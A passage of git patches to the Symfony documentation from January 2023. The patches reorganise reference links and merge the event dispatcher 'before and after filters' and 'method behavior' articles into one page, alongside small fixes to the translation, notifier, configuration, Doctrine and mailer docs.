-  * :doc:`Validation Constraints Reference </reference/constraints>`
-  * :ref:`Twig Template Function and Variable Reference <reference-form-twig-functions-variables>`
+Forms and Validation
+--------------------
 
-* :doc:`Twig Extensions (forms, filters, tags, etc) Reference </reference/twig_reference>`
+* :doc:`Form Field Type Reference </reference/forms/types>`
+* :doc:`Validation Constraints Reference </reference/constraints>`
+* :ref:`Twig Template Function and Variable Reference <reference-form-twig-functions-variables>`
+
+Format Specifications
+---------------------
 
-* **Other Areas**
+* :doc:`YAML </reference/formats/yaml>`
+* :doc:`XLIFF </reference/formats/xliff>`
+* :doc:`ICU MessageFormat </reference/formats/message_format>`
+* :doc:`Expression Language </reference/formats/expression_language>`
 
-  * :doc:`/reference/dic_tags`
-  * :doc:`/reference/events`
+Others
+------
+
+* :doc:`Configuring the Kernel </reference/configuration/kernel>`
+* :doc:`Twig Extensions (forms, filters, tags, etc) Reference </reference/twig_reference>`
+* :doc:`/reference/dic_tags`
+* :doc:`/reference/events`
diff --git a/routing.rst b/routing.rst
index cd3ec6d2c76..08a561020ab 100644
--- a/routing.rst
+++ b/routing.rst
@@ -415,8 +415,8 @@ arbitrary matching logic:
         };
 
 The value of the ``condition`` option is an expression using any valid
-:ref:`expression language syntax <expression-language-syntax>` and can use any
-of these variables created by Symfony:
+:doc:`expression language syntax </reference/formats/expression_language>` and
+can use any of these variables created by Symfony:
 
 ``context``
     An instance of :class:`Symfony\\Component\\Routing\\RequestContext`,
diff --git a/security/expressions.rst b/security/expressions.rst
index 93827fc756b..654ea147d44 100644
--- a/security/expressions.rst
+++ b/security/expressions.rst
@@ -38,7 +38,7 @@ that method is invented for this example).
 
 .. _security-expression-variables:
 
-The security expression must use any valid :ref:`expression language syntax <expression-language-syntax>`
+The security expression must use any valid :doc:`expression language syntax </reference/formats/expression_language>`
 and can use any of these variables created by Symfony:
 
 ``user``
diff --git a/service_container/expression_language.rst b/service_container/expression_language.rst
index 53b1524b762..9887cefb443 100644
--- a/service_container/expression_language.rst
+++ b/service_container/expression_language.rst
@@ -71,7 +71,7 @@ to another service: ``App\Mailer``. One way to do this is with an expression:
                 ->args([expr("service('App\\\\Mail\\\\MailerConfiguration').getMailerMethod()")]);
         };
 
-Learn more about the :ref:`expression language syntax <expression-language-syntax>`.
+Learn more about the :doc:`expression language syntax </reference/formats/expression_language>`.
 
 In this context, you have access to 2 functions:
 
diff --git a/translation.rst b/translation.rst
index b11136dffb6..02bc572bd7a 100644
--- a/translation.rst
+++ b/translation.rst
@@ -295,7 +295,7 @@ plural, based on some variable:
 
 To manage these situations, Symfony follows the `ICU MessageFormat`_ syntax by
 using PHP's :phpclass:`MessageFormatter` class. Read more about this in
-:doc:`/translation/message_format`.
+:doc:`/reference/formats/message_format`.
 
 .. tip::
 

From ec321366ec834f9c5b444490e67fae453f0ecf31 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 27 Jan 2023 16:34:58 +0100
Subject: [PATCH 4191/7107] Fix some references

---
 translation.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/translation.rst b/translation.rst
index aebd66a6a7c..7288c4d217c 100644
--- a/translation.rst
+++ b/translation.rst
@@ -1326,8 +1326,8 @@ Learn more
 .. toctree::
     :maxdepth: 1
 
-    translation/message_format
-    translation/xliff
+    reference/formats/message_format
+    reference/formats/xliff
 
 .. _`i18n`: https://en.wikipedia.org/wiki/Internationalization_and_localization
 .. _`ICU MessageFormat`: https://unicode-org.github.io/icu/userguide/format_parse/messages/

From 549132777158dcefa56e8f517e97d753e4c02594 Mon Sep 17 00:00:00 2001
From: Fabien Potencier <fabien@potencier.org>
Date: Fri, 27 Jan 2023 13:40:47 +0100
Subject: [PATCH 4192/7107] [EventDispatcher] Consolidation event dispatcher
 docs

---
 _build/redirection_map                    |   4 +-
 components/event_dispatcher.rst           |   1 -
 event_dispatcher.rst                      | 380 +++++++++++++++++++++-
 event_dispatcher/before_after_filters.rst | 237 --------------
 event_dispatcher/method_behavior.rst      | 143 --------
 5 files changed, 377 insertions(+), 388 deletions(-)
 delete mode 100644 event_dispatcher/before_after_filters.rst
 delete mode 100644 event_dispatcher/method_behavior.rst

diff --git a/_build/redirection_map b/_build/redirection_map
index c58e85b6c23..d2b82c85efd 100644
--- a/_build/redirection_map
+++ b/_build/redirection_map
@@ -156,11 +156,13 @@
 /cookbook/email/index /email
 /cookbook/email/spool /email/spool
 /cookbook/email/testing /email/testing
-/cookbook/event_dispatcher/before_after_filters /event_dispatcher/before_after_filters
+/cookbook/event_dispatcher/before_after_filters /event_dispatcher#event-dispatcher-before-after-filters
+/event_dispatcher/before_after_filters /event_dispatcher#event-dispatcher-before-after-filters
 /cookbook/event_dispatcher/class_extension /event_dispatcher/class_extension
 /cookbook/event_dispatcher/event_listener /event_dispatcher
 /cookbook/event_dispatcher/index /event_dispatcher
 /cookbook/event_dispatcher/method_behavior /event_dispatcher/method_behavior
+/event_dispatcher/method_behavior /event_dispatcher#event-dispatcher-method-behavior
 /cookbook/expressions /security/expressions
 /expressions /security/expressions
 /cookbook/form/create_custom_field_type /form/create_custom_field_type
diff --git a/components/event_dispatcher.rst b/components/event_dispatcher.rst
index 206fde3fc99..d690f168d2c 100644
--- a/components/event_dispatcher.rst
+++ b/components/event_dispatcher.rst
@@ -515,7 +515,6 @@ Learn More
     :maxdepth: 1
     :glob:
 
-    /components/event_dispatcher/*
     /event_dispatcher/*
 
 * :ref:`The kernel.event_listener tag <dic-tags-kernel-event-listener>`
diff --git a/event_dispatcher.rst b/event_dispatcher.rst
index 2bf1289ffe7..97d70af9598 100644
--- a/event_dispatcher.rst
+++ b/event_dispatcher.rst
@@ -404,11 +404,379 @@ for a particular event dispatcher:
 
     The ``dispatcher`` option was introduced in Symfony 5.3.
 
-Learn more
-----------
+.. _event-dispatcher-before-after-filters:
 
-.. toctree::
-    :maxdepth: 1
+How to Set Up Before and After Filters
+--------------------------------------
 
-    event_dispatcher/before_after_filters
-    event_dispatcher/method_behavior
+It is quite common in web application development to need some logic to be
+performed right before or directly after your controller actions acting as
+filters or hooks.
+
+Some web frameworks define methods like ``preExecute()`` and ``postExecute()``,
+but there is no such thing in Symfony. The good news is that there is a much
+better way to interfere with the Request -> Response process using the
+:doc:`EventDispatcher component </components/event_dispatcher>`.
+
+Token Validation Example
+~~~~~~~~~~~~~~~~~~~~~~~~
+
+Imagine that you need to develop an API where some controllers are public
+but some others are restricted to one or some clients. For these private features,
+you might provide a token to your clients to identify themselves.
+
+So, before executing your controller action, you need to check if the action
+is restricted or not. If it is restricted, you need to validate the provided
+token.
+
+.. note::
+
+    Please note that for simplicity in this recipe, tokens will be defined
+    in config and neither database setup nor authentication via the Security
+    component will be used.
+
+Before Filters with the ``kernel.controller`` Event
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+First, define some token configuration as parameters:
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/services.yaml
+        parameters:
+            tokens:
+                client1: pass1
+                client2: pass2
+
+    .. code-block:: xml
+
+        <!-- config/services.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <container xmlns="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd">
+
+            <parameters>
+                <parameter key="tokens" type="collection">
+                    <parameter key="client1">pass1</parameter>
+                    <parameter key="client2">pass2</parameter>
+                </parameter>
+            </parameters>
+        </container>
+
+    .. code-block:: php
+
+        // config/services.php
+        $container->setParameter('tokens', [
+            'client1' => 'pass1',
+            'client2' => 'pass2',
+        ]);
+
+Tag Controllers to Be Checked
+.............................
+
+A ``kernel.controller`` (aka ``KernelEvents::CONTROLLER``) listener gets notified
+on *every* request, right before the controller is executed. So, first, you need
+some way to identify if the controller that matches the request needs token validation.
+
+A clean and easy way is to create an empty interface and make the controllers
+implement it::
+
+    namespace App\Controller;
+
+    interface TokenAuthenticatedController
+    {
+        // ...
+    }
+
+A controller that implements this interface looks like this::
+
+    namespace App\Controller;
+
+    use App\Controller\TokenAuthenticatedController;
+    use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
+
+    class FooController extends AbstractController implements TokenAuthenticatedController
+    {
+        // An action that needs authentication
+        public function bar()
+        {
+            // ...
+        }
+    }
+
+Creating an Event Subscriber
+............................
+
+Next, you'll need to create an event subscriber, which will hold the logic
+that you want to be executed before your controllers. If you're not familiar with
+event subscribers, you can learn more about them at :doc:`/event_dispatcher`::
+
+    // src/EventSubscriber/TokenSubscriber.php
+    namespace App\EventSubscriber;
+
+    use App\Controller\TokenAuthenticatedController;
+    use Symfony\Component\EventDispatcher\EventSubscriberInterface;
+    use Symfony\Component\HttpKernel\Event\ControllerEvent;
+    use Symfony\Component\HttpKernel\Exception\AccessDeniedHttpException;
+    use Symfony\Component\HttpKernel\KernelEvents;
+
+    class TokenSubscriber implements EventSubscriberInterface
+    {
+        private $tokens;
+
+        public function __construct($tokens)
+        {
+            $this->tokens = $tokens;
+        }
+
+        public function onKernelController(ControllerEvent $event)
+        {
+            $controller = $event->getController();
+
+            // when a controller class defines multiple action methods, the controller
+            // is returned as [$controllerInstance, 'methodName']
+            if (is_array($controller)) {
+                $controller = $controller[0];
+            }
+
+            if ($controller instanceof TokenAuthenticatedController) {
+                $token = $event->getRequest()->query->get('token');
+                if (!in_array($token, $this->tokens)) {
+                    throw new AccessDeniedHttpException('This action needs a valid token!');
+                }
+            }
+        }
+
+        public static function getSubscribedEvents()
+        {
+            return [
+                KernelEvents::CONTROLLER => 'onKernelController',
+            ];
+        }
+    }
+
+That's it! Your ``services.yaml`` file should already be setup to load services from
+the ``EventSubscriber`` directory. Symfony takes care of the rest. Your
+``TokenSubscriber`` ``onKernelController()`` method will be executed on each request.
+If the controller that is about to be executed implements ``TokenAuthenticatedController``,
+token authentication is applied. This lets you have a "before" filter on any controller
+you want.
+
+.. tip::
+
+    If your subscriber is *not* called on each request, double-check that
+    you're :ref:`loading services <service-container-services-load-example>` from
+    the ``EventSubscriber`` directory and have :ref:`autoconfigure <services-autoconfigure>`
+    enabled. You can also manually add the ``kernel.event_subscriber`` tag.
+
+After Filters with the ``kernel.response`` Event
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+In addition to having a "hook" that's executed *before* your controller, you
+can also add a hook that's executed *after* your controller. For this example,
+imagine that you want to add a ``sha1`` hash (with a salt using that token) to
+all responses that have passed this token authentication.
+
+Another core Symfony event - called ``kernel.response`` (aka ``KernelEvents::RESPONSE``) -
+is notified on every request, but after the controller returns a Response object.
+To create an "after" listener, create a listener class and register
+it as a service on this event.
+
+For example, take the ``TokenSubscriber`` from the previous example and first
+record the authentication token inside the request attributes. This will
+serve as a basic flag that this request underwent token authentication::
+
+    public function onKernelController(ControllerEvent $event)
+    {
+        // ...
+
+        if ($controller instanceof TokenAuthenticatedController) {
+            $token = $event->getRequest()->query->get('token');
+            if (!in_array($token, $this->tokens)) {
+                throw new AccessDeniedHttpException('This action needs a valid token!');
+            }
+
+            // mark the request as having passed token authentication
+            $event->getRequest()->attributes->set('auth_token', $token);
+        }
+    }
+
+Now, configure the subscriber to listen to another event and add ``onKernelResponse()``.
+This will look for the ``auth_token`` flag on the request object and set a custom
+header on the response if it's found::
+
+    // add the new use statement at the top of your file
+    use Symfony\Component\HttpKernel\Event\ResponseEvent;
+
+    public function onKernelResponse(ResponseEvent $event)
+    {
+        // check to see if onKernelController marked this as a token "auth'ed" request
+        if (!$token = $event->getRequest()->attributes->get('auth_token')) {
+            return;
+        }
+
+        $response = $event->getResponse();
+
+        // create a hash and set it as a response header
+        $hash = sha1($response->getContent().$token);
+        $response->headers->set('X-CONTENT-HASH', $hash);
+    }
+
+    public static function getSubscribedEvents()
+    {
+        return [
+            KernelEvents::CONTROLLER => 'onKernelController',
+            KernelEvents::RESPONSE => 'onKernelResponse',
+        ];
+    }
+
+That's it! The ``TokenSubscriber`` is now notified before every controller is
+executed (``onKernelController()``) and after every controller returns a response
+(``onKernelResponse()``). By making specific controllers implement the ``TokenAuthenticatedController``
+interface, your listener knows which controllers it should take action on.
+And by storing a value in the request's "attributes" bag, the ``onKernelResponse()``
+method knows to add the extra header. Have fun!
+
+.. _event-dispatcher-method-behavior:
+
+How to Customize a Method Behavior without Using Inheritance
+------------------------------------------------------------
+
+If you want to do something right before, or directly after a method is
+called, you can dispatch an event respectively at the beginning or at the
+end of the method::
+
+    class CustomMailer
+    {
+        // ...
+
+        public function send($subject, $message)
+        {
+            // dispatch an event before the method
+            $event = new BeforeSendMailEvent($subject, $message);
+            $this->dispatcher->dispatch($event, 'mailer.pre_send');
+
+            // get $subject and $message from the event, they may have been modified
+            $subject = $event->getSubject();
+            $message = $event->getMessage();
+
+            // the real method implementation is here
+            $returnValue = ...;
+
+            // do something after the method
+            $event = new AfterSendMailEvent($returnValue);
+            $this->dispatcher->dispatch($event, 'mailer.post_send');
+
+            return $event->getReturnValue();
+        }
+    }
+
+In this example, two events are dispatched:
+
+#. ``mailer.pre_send``, before the method is called,
+#. and ``mailer.post_send`` after the method is called.
+
+Each uses a custom Event class to communicate information to the listeners
+of the two events. For example, ``BeforeSendMailEvent`` might look like
+this::
+
+    // src/Event/BeforeSendMailEvent.php
+    namespace App\Event;
+
+    use Symfony\Contracts\EventDispatcher\Event;
+
+    class BeforeSendMailEvent extends Event
+    {
+        private $subject;
+        private $message;
+
+        public function __construct($subject, $message)
+        {
+            $this->subject = $subject;
+            $this->message = $message;
+        }
+
+        public function getSubject()
+        {
+            return $this->subject;
+        }
+
+        public function setSubject($subject)
+        {
+            $this->subject = $subject;
+        }
+
+        public function getMessage()
+        {
+            return $this->message;
+        }
+
+        public function setMessage($message)
+        {
+            $this->message = $message;
+        }
+    }
+
+And the ``AfterSendMailEvent`` even like this::
+
+    // src/Event/AfterSendMailEvent.php
+    namespace App\Event;
+
+    use Symfony\Contracts\EventDispatcher\Event;
+
+    class AfterSendMailEvent extends Event
+    {
+        private $returnValue;
+
+        public function __construct($returnValue)
+        {
+            $this->returnValue = $returnValue;
+        }
+
+        public function getReturnValue()
+        {
+            return $this->returnValue;
+        }
+
+        public function setReturnValue($returnValue)
+        {
+            $this->returnValue = $returnValue;
+        }
+    }
+
+Both events allow you to get some information (e.g. ``getMessage()``) and even change
+that information (e.g. ``setMessage()``).
+
+Now, you can create an event subscriber to hook into this event. For example, you
+could listen to the ``mailer.post_send`` event and change the method's return value::
+
+    // src/EventSubscriber/MailPostSendSubscriber.php
+    namespace App\EventSubscriber;
+
+    use App\Event\AfterSendMailEvent;
+    use Symfony\Component\EventDispatcher\EventSubscriberInterface;
+
+    class MailPostSendSubscriber implements EventSubscriberInterface
+    {
+        public function onMailerPostSend(AfterSendMailEvent $event)
+        {
+            $returnValue = $event->getReturnValue();
+            // modify the original ``$returnValue`` value
+
+            $event->setReturnValue($returnValue);
+        }
+
+        public static function getSubscribedEvents()
+        {
+            return [
+                'mailer.post_send' => 'onMailerPostSend',
+            ];
+        }
+    }
+
+That's it! Your subscriber should be called automatically (or read more about
+:ref:`event subscriber configuration <ref-event-subscriber-configuration>`).
diff --git a/event_dispatcher/before_after_filters.rst b/event_dispatcher/before_after_filters.rst
deleted file mode 100644
index 5be62d9ac09..00000000000
--- a/event_dispatcher/before_after_filters.rst
+++ /dev/null
@@ -1,237 +0,0 @@
-.. index::
-   single: EventDispatcher
-
-How to Set Up Before and After Filters
-======================================
-
-It is quite common in web application development to need some logic to be
-performed right before or directly after your controller actions acting as
-filters or hooks.
-
-Some web frameworks define methods like ``preExecute()`` and ``postExecute()``,
-but there is no such thing in Symfony. The good news is that there is a much
-better way to interfere with the Request -> Response process using the
-:doc:`EventDispatcher component </components/event_dispatcher>`.
-
-Token Validation Example
-------------------------
-
-Imagine that you need to develop an API where some controllers are public
-but some others are restricted to one or some clients. For these private features,
-you might provide a token to your clients to identify themselves.
-
-So, before executing your controller action, you need to check if the action
-is restricted or not. If it is restricted, you need to validate the provided
-token.
-
-.. note::
-
-    Please note that for simplicity in this recipe, tokens will be defined
-    in config and neither database setup nor authentication via the Security
-    component will be used.
-
-Before Filters with the ``kernel.controller`` Event
----------------------------------------------------
-
-First, define some token configuration as parameters:
-
-.. configuration-block::
-
-    .. code-block:: yaml
-
-        # config/services.yaml
-        parameters:
-            tokens:
-                client1: pass1
-                client2: pass2
-
-    .. code-block:: xml
-
-        <!-- config/services.xml -->
-        <?xml version="1.0" encoding="UTF-8" ?>
-        <container xmlns="http://symfony.com/schema/dic/services"
-            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-            xsi:schemaLocation="http://symfony.com/schema/dic/services
-                https://symfony.com/schema/dic/services/services-1.0.xsd">
-
-            <parameters>
-                <parameter key="tokens" type="collection">
-                    <parameter key="client1">pass1</parameter>
-                    <parameter key="client2">pass2</parameter>
-                </parameter>
-            </parameters>
-        </container>
-
-    .. code-block:: php
-
-        // config/services.php
-        $container->setParameter('tokens', [
-            'client1' => 'pass1',
-            'client2' => 'pass2',
-        ]);
-
-Tag Controllers to Be Checked
-~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
-
-A ``kernel.controller`` (aka ``KernelEvents::CONTROLLER``) listener gets notified
-on *every* request, right before the controller is executed. So, first, you need
-some way to identify if the controller that matches the request needs token validation.
-
-A clean and easy way is to create an empty interface and make the controllers
-implement it::
-
-    namespace App\Controller;
-
-    interface TokenAuthenticatedController
-    {
-        // ...
-    }
-
-A controller that implements this interface looks like this::
-
-    namespace App\Controller;
-
-    use App\Controller\TokenAuthenticatedController;
-    use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
-
-    class FooController extends AbstractController implements TokenAuthenticatedController
-    {
-        // An action that needs authentication
-        public function bar()
-        {
-            // ...
-        }
-    }
-
-Creating an Event Subscriber
-~~~~~~~~~~~~~~~~~~~~~~~~~~~~
-
-Next, you'll need to create an event subscriber, which will hold the logic
-that you want to be executed before your controllers. If you're not familiar with
-event subscribers, you can learn more about them at :doc:`/event_dispatcher`::
-
-    // src/EventSubscriber/TokenSubscriber.php
-    namespace App\EventSubscriber;
-
-    use App\Controller\TokenAuthenticatedController;
-    use Symfony\Component\EventDispatcher\EventSubscriberInterface;
-    use Symfony\Component\HttpKernel\Event\ControllerEvent;
-    use Symfony\Component\HttpKernel\Exception\AccessDeniedHttpException;
-    use Symfony\Component\HttpKernel\KernelEvents;
-
-    class TokenSubscriber implements EventSubscriberInterface
-    {
-        private $tokens;
-
-        public function __construct($tokens)
-        {
-            $this->tokens = $tokens;
-        }
-
-        public function onKernelController(ControllerEvent $event)
-        {
-            $controller = $event->getController();
-
-            // when a controller class defines multiple action methods, the controller
-            // is returned as [$controllerInstance, 'methodName']
-            if (is_array($controller)) {
-                $controller = $controller[0];
-            }
-
-            if ($controller instanceof TokenAuthenticatedController) {
-                $token = $event->getRequest()->query->get('token');
-                if (!in_array($token, $this->tokens)) {
-                    throw new AccessDeniedHttpException('This action needs a valid token!');
-                }
-            }
-        }
-
-        public static function getSubscribedEvents()
-        {
-            return [
-                KernelEvents::CONTROLLER => 'onKernelController',
-            ];
-        }
-    }
-
-That's it! Your ``services.yaml`` file should already be setup to load services from
-the ``EventSubscriber`` directory. Symfony takes care of the rest. Your
-``TokenSubscriber`` ``onKernelController()`` method will be executed on each request.
-If the controller that is about to be executed implements ``TokenAuthenticatedController``,
-token authentication is applied. This lets you have a "before" filter on any controller
-you want.
-
-.. tip::
-
-    If your subscriber is *not* called on each request, double-check that
-    you're :ref:`loading services <service-container-services-load-example>` from
-    the ``EventSubscriber`` directory and have :ref:`autoconfigure <services-autoconfigure>`
-    enabled. You can also manually add the ``kernel.event_subscriber`` tag.
-
-After Filters with the ``kernel.response`` Event
-------------------------------------------------
-
-In addition to having a "hook" that's executed *before* your controller, you
-can also add a hook that's executed *after* your controller. For this example,
-imagine that you want to add a ``sha1`` hash (with a salt using that token) to
-all responses that have passed this token authentication.
-
-Another core Symfony event - called ``kernel.response`` (aka ``KernelEvents::RESPONSE``) -
-is notified on every request, but after the controller returns a Response object.
-To create an "after" listener, create a listener class and register
-it as a service on this event.
-
-For example, take the ``TokenSubscriber`` from the previous example and first
-record the authentication token inside the request attributes. This will
-serve as a basic flag that this request underwent token authentication::
-
-    public function onKernelController(ControllerEvent $event)
-    {
-        // ...
-
-        if ($controller instanceof TokenAuthenticatedController) {
-            $token = $event->getRequest()->query->get('token');
-            if (!in_array($token, $this->tokens)) {
-                throw new AccessDeniedHttpException('This action needs a valid token!');
-            }
-
-            // mark the request as having passed token authentication
-            $event->getRequest()->attributes->set('auth_token', $token);
-        }
-    }
-
-Now, configure the subscriber to listen to another event and add ``onKernelResponse()``.
-This will look for the ``auth_token`` flag on the request object and set a custom
-header on the response if it's found::
-
-    // add the new use statement at the top of your file
-    use Symfony\Component\HttpKernel\Event\ResponseEvent;
-
-    public function onKernelResponse(ResponseEvent $event)
-    {
-        // check to see if onKernelController marked this as a token "auth'ed" request
-        if (!$token = $event->getRequest()->attributes->get('auth_token')) {
-            return;
-        }
-
-        $response = $event->getResponse();
-
-        // create a hash and set it as a response header
-        $hash = sha1($response->getContent().$token);
-        $response->headers->set('X-CONTENT-HASH', $hash);
-    }
-
-    public static function getSubscribedEvents()
-    {
-        return [
-            KernelEvents::CONTROLLER => 'onKernelController',
-            KernelEvents::RESPONSE => 'onKernelResponse',
-        ];
-    }
-
-That's it! The ``TokenSubscriber`` is now notified before every controller is
-executed (``onKernelController()``) and after every controller returns a response
-(``onKernelResponse()``). By making specific controllers implement the ``TokenAuthenticatedController``
-interface, your listener knows which controllers it should take action on.
-And by storing a value in the request's "attributes" bag, the ``onKernelResponse()``
-method knows to add the extra header. Have fun!
diff --git a/event_dispatcher/method_behavior.rst b/event_dispatcher/method_behavior.rst
deleted file mode 100644
index 4e2f00fef0e..00000000000
--- a/event_dispatcher/method_behavior.rst
+++ /dev/null
@@ -1,143 +0,0 @@
-.. index::
-   single: EventDispatcher
-
-How to Customize a Method Behavior without Using Inheritance
-============================================================
-
-Doing something before or after a Method Call
----------------------------------------------
-
-If you want to do something right before, or directly after a method is
-called, you can dispatch an event respectively at the beginning or at the
-end of the method::
-
-    class CustomMailer
-    {
-        // ...
-
-        public function send($subject, $message)
-        {
-            // dispatch an event before the method
-            $event = new BeforeSendMailEvent($subject, $message);
-            $this->dispatcher->dispatch($event, 'mailer.pre_send');
-
-            // get $subject and $message from the event, they may have been modified
-            $subject = $event->getSubject();
-            $message = $event->getMessage();
-
-            // the real method implementation is here
-            $returnValue = ...;
-
-            // do something after the method
-            $event = new AfterSendMailEvent($returnValue);
-            $this->dispatcher->dispatch($event, 'mailer.post_send');
-
-            return $event->getReturnValue();
-        }
-    }
-
-In this example, two events are dispatched:
-
-#. ``mailer.pre_send``, before the method is called,
-#. and ``mailer.post_send`` after the method is called.
-
-Each uses a custom Event class to communicate information to the listeners
-of the two events. For example, ``BeforeSendMailEvent`` might look like
-this::
-
-    // src/Event/BeforeSendMailEvent.php
-    namespace App\Event;
-
-    use Symfony\Contracts\EventDispatcher\Event;
-
-    class BeforeSendMailEvent extends Event
-    {
-        private $subject;
-        private $message;
-
-        public function __construct($subject, $message)
-        {
-            $this->subject = $subject;
-            $this->message = $message;
-        }
-
-        public function getSubject()
-        {
-            return $this->subject;
-        }
-
-        public function setSubject($subject)
-        {
-            $this->subject = $subject;
-        }
-
-        public function getMessage()
-        {
-            return $this->message;
-        }
-
-        public function setMessage($message)
-        {
-            $this->message = $message;
-        }
-    }
-
-And the ``AfterSendMailEvent`` even like this::
-
-    // src/Event/AfterSendMailEvent.php
-    namespace App\Event;
-
-    use Symfony\Contracts\EventDispatcher\Event;
-
-    class AfterSendMailEvent extends Event
-    {
-        private $returnValue;
-
-        public function __construct($returnValue)
-        {
-            $this->returnValue = $returnValue;
-        }
-
-        public function getReturnValue()
-        {
-            return $this->returnValue;
-        }
-
-        public function setReturnValue($returnValue)
-        {
-            $this->returnValue = $returnValue;
-        }
-    }
-
-Both events allow you to get some information (e.g. ``getMessage()``) and even change
-that information (e.g. ``setMessage()``).
-
-Now, you can create an event subscriber to hook into this event. For example, you
-could listen to the ``mailer.post_send`` event and change the method's return value::
-
-    // src/EventSubscriber/MailPostSendSubscriber.php
-    namespace App\EventSubscriber;
-
-    use App\Event\AfterSendMailEvent;
-    use Symfony\Component\EventDispatcher\EventSubscriberInterface;
-
-    class MailPostSendSubscriber implements EventSubscriberInterface
-    {
-        public function onMailerPostSend(AfterSendMailEvent $event)
-        {
-            $returnValue = $event->getReturnValue();
-            // modify the original ``$returnValue`` value
-
-            $event->setReturnValue($returnValue);
-        }
-
-        public static function getSubscribedEvents()
-        {
-            return [
-                'mailer.post_send' => 'onMailerPostSend',
-            ];
-        }
-    }
-
-That's it! Your subscriber should be called automatically (or read more about
-:ref:`event subscriber configuration <ref-event-subscriber-configuration>`).

From 8f7582b8776a34a40105dce1a22cdc7ec70a1ecb Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 27 Jan 2023 16:38:59 +0100
Subject: [PATCH 4193/7107] Fix minor issue

---
 components/event_dispatcher.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/components/event_dispatcher.rst b/components/event_dispatcher.rst
index d690f168d2c..8defeee6ba6 100644
--- a/components/event_dispatcher.rst
+++ b/components/event_dispatcher.rst
@@ -515,7 +515,7 @@ Learn More
     :maxdepth: 1
     :glob:
 
-    /event_dispatcher/*
+    event_dispatcher
 
 * :ref:`The kernel.event_listener tag <dic-tags-kernel-event-listener>`
 * :ref:`The kernel.event_subscriber tag <dic-tags-kernel-event-subscriber>`

From 3dbb4ab6acc6738d8c15d7045858ccd8b19ce46e Mon Sep 17 00:00:00 2001
From: Philipp Christen <philipp.christen@srf.ch>
Date: Fri, 27 Jan 2023 15:39:41 +0100
Subject: [PATCH 4194/7107] Update notifier.rst

---
 notifier.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/notifier.rst b/notifier.rst
index f94598f6d04..a5b1ec2456d 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -332,7 +332,7 @@ you to send messages to chat services::
         public function thankyou(ChatterInterface $chatter)
         {
             $message = (new ChatMessage('You got a new invoice for 15 EUR.'))
-                // if not set explicitly, the message is send to the
+                // if not set explicitly, the message is sent to the
                 // default transport (the first one configured)
                 ->transport('slack');
 

From 48d710e9b0866bf66eaf997de55f4e1fd6560b8e Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 27 Jan 2023 17:19:51 +0100
Subject: [PATCH 4195/7107] Reword

---
 configuration.rst | 12 +++++-------
 1 file changed, 5 insertions(+), 7 deletions(-)

diff --git a/configuration.rst b/configuration.rst
index 9ec99a528a0..5e78afd93ae 100644
--- a/configuration.rst
+++ b/configuration.rst
@@ -360,16 +360,14 @@ a new ``locale`` parameter is added to the ``config/services.yaml`` file).
 
 .. tip::
 
-    When working with :ref:`Compiler Passes </service_container/compiler_passes>`,
-    you have the possibility to declare parameters that will only be available
-    during the container compilation. These parameters will be automatically removed
-    from the container once its build is done. To declare parameters only
-    available at compile-time, pre-prend their name with a dot ``.`` (for example,
-    ``.mailer.transport``).
+    By convention, parameters whose names start with a dot ``.`` (for example,
+    ``.mailer.transport``), are available only during the container compilation.
+    They are useful when working with :ref:`Compiler Passes </service_container/compiler_passes>`
+    to declare some temporary parameters that won't be available later in the application.
 
 .. versionadded:: 6.3
 
-    Parameters only available at compile time were introduced in Symfony 6.3.
+    Compile-time parameters were introduced in Symfony 6.3.
 
 .. seealso::
 

From 32d50e9bb70a28f0dd1510562eba528abf9dd5a9 Mon Sep 17 00:00:00 2001
From: Antoine Lamirault <lamiraultantoine@gmail.com>
Date: Fri, 27 Jan 2023 23:07:54 +0100
Subject: [PATCH 4196/7107] Update example to match actual make::entity output

---
 doctrine.rst | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/doctrine.rst b/doctrine.rst
index 4b205fe73c4..4576c0167ca 100644
--- a/doctrine.rst
+++ b/doctrine.rst
@@ -135,19 +135,19 @@ Whoa! You now have a new ``src/Entity/Product.php`` file::
     use App\Repository\ProductRepository;
     use Doctrine\ORM\Mapping as ORM;
 
-     #[ORM\Entity(repositoryClass: ProductRepository::class)]
+    #[ORM\Entity(repositoryClass: ProductRepository::class)]
     class Product
     {
         #[ORM\Id]
         #[ORM\GeneratedValue]
         #[ORM\Column]
-        private int $id;
+        private ?int $id = null;
 
         #[ORM\Column(length: 255)]
-        private string $name;
+        private ?string $name = null;
 
         #[ORM\Column]
-        private int $price;
+        private ?int $price = null;
 
         public function getId(): ?int
         {

From 8f8a12b2d1adb23f7e90935d911458c07b3ce178 Mon Sep 17 00:00:00 2001
From: Gabriel Bugeaud <MrGabigoo@users.noreply.github.com>
Date: Sat, 28 Jan 2023 21:09:02 +0100
Subject: [PATCH 4197/7107] fix(mailer): mailpace mailer package name

---
 mailer.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/mailer.rst b/mailer.rst
index 5bdd2615bd6..7fddf612570 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -108,7 +108,7 @@ Mailjet             ``composer require symfony/mailjet-mailer``
 Postmark            ``composer require symfony/postmark-mailer``
 SendGrid            ``composer require symfony/sendgrid-mailer``
 Sendinblue          ``composer require symfony/sendinblue-mailer``
-MailPace            ``composer require symfony/mailpace-mailer``
